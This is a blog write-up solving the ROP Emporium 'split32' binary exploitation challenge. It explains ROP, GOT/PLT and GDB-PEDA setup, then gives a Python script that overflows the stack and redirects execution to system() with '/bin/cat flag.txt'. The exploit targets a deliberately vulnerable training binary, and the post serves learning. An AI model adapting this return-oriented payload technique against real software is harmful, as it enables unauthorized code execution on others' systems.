Split32 Binary Exploitation Challenge Solution - ROP Emporium

Posted by Suraj Singh on December 04, 2018 · 9 mins read
Hello readers,

Welcome Again, Today In This Post I am going To Share My Solution For Binary Exploitation Challenge Split32.

This One, Is Really Very Simple To Understand. So, Nothing That Much Information Is Available To Share With You To Win This Challenge. Just Give It A Try! Nothing That Much Hard Work Required To Win This Challenge.

What is ROP?
Ans. According To Wikipedia
                                               "Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.

In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets".[2] Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.Check Here

What is GOT and PLT?
Ans. According To Systemoverload
                                                          "There’s two types of binaries on any system: statically linked and dynamically linked. Statically linked binaries are self-contained, containing all of the code necessary for them to run within the single file, and do not depend on any external libraries. Dynamically linked binaries (which are the default when you run gcc and most other compilers) do not include a lot of functions, but rely on system libraries to provide a portion of the functionality. For example, when your binary uses printf to print some data, the actual implementation of printf is part of the system C library. Typically, on current GNU/Linux systems, this is provided by libc.so.6, which is the name of the current GNU Libc library.
In order to locate these functions, your program needs to know the address of printf to call it. While this could be written into the raw binary at compile time, there’s some problems with that strategy:
Each time the library changes, the addresses of the functions within the library change, when libc is upgraded, you’d need to rebuild every binary on your system. While this might appeal to Gentoo users, the rest of us would find it an upgrade challenge to replace every binary every time libc received an update.
Modern systems using ASLR load libraries at different locations on each program invocation. Hardcoding addresses would render this impossible.
Consequently, a strategy was developed to allow looking up all of these addresses when the program was run and providing a mechanism to call these functions from libraries. This is known as relocation, and the hard work of doing this at runtime is performed by the linker, aka ld-linux.so. (Note that every dynamically linked program will be linked against the linker, this is actually set in a special ELF section called .interp.) The linker is actually run before any code from your program or libc, but this is completely abstracted from the user by the Linux kernel. 


                        Looking at an ELF file, you will discover that it has a number of sections, and it turns out that relocations require several of these sections. I’ll start by defining the sections, then discuss how they’re used in practice.

            This is the GOT, or Global Offset Table. This is the actual table of offsets as filled in by the linker for external symbols.

           This is the PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.)

           This is the GOT for the PLT. It contains the target addresses (after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section.

             It seems like they wanted every combination of PLT and GOT! This just seems to contain code to jump to the first entry of the .got. I’m not actually sure what uses this. (If you know, please reach out and let me know! In testing a couple of programs, this code is not hit, but maybe there’s some obscure case for this.)
Check Here

What is GDB-Peda?
Ans. PEDA - Python Exploit Development Assistance for GDB. PEDA is a Python GDB script with many handy commands to help speed up exploit development process on Linux/Unix. It is also a framework for writing custom interactive Python GDB commands.

How To Setup GDP-Peda?

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

But Still, For Newbies, I am Using Hint Comments In My Solution.


from struct import pack

# ==================================================
# Usages: (python exp.py; cat) | ./binaryName
# =================================================

#+ ------------------------------------------------------------------ +
#= +----------------------------------------------------------------+ =
#= | | =
#= | _____ ___________ _____ | =
#= | / ___/ ___| ___ \ | __ \ | =
#= | \ `--.\ `--.| |_/ / | | \/_ __ ___ _ _ _ __ | =
#= | `--. \`--. \ ___ \ | | __| '__/ _ \| | | | '_ \ | =
#= | /\__/ /\__/ / |_/ / | |_\ \ | | (_) | |_| | |_) | | =
#= | \____/\____/\____/ \____/_| \___/ \__,_| .__/ | =
#= | | | | =
#= | |_| | =
#= +----------------------------------------------------------------+ =
#= +----------------------------------------------------------------+ =
#= | | =
#= | surajsinghbisht054@gmail.com | =
#= | www.bitforestinfo.com | =
#= | | =
#= | Try Smart, Try Hard & Don't Cheat | =
#= +----------------------------------------------------------------+ =
#+ ------------------------------------------------------------------ +

# metasploit pattern Generated Tool

# [ Addr ]
ad1 = 0x08048430 # GLOBAL FUNC 16 imp.system
ad2 = 0x0804a030 # (.data) ascii /bin/cat flag.txt

# payload
pay = ''
pay += 'A'*40
pay += 'BBBB' # EBP
pay += pack('I', ad1) # EIP
pay += 'DDDD'
pay += pack('I', ad2)

print pay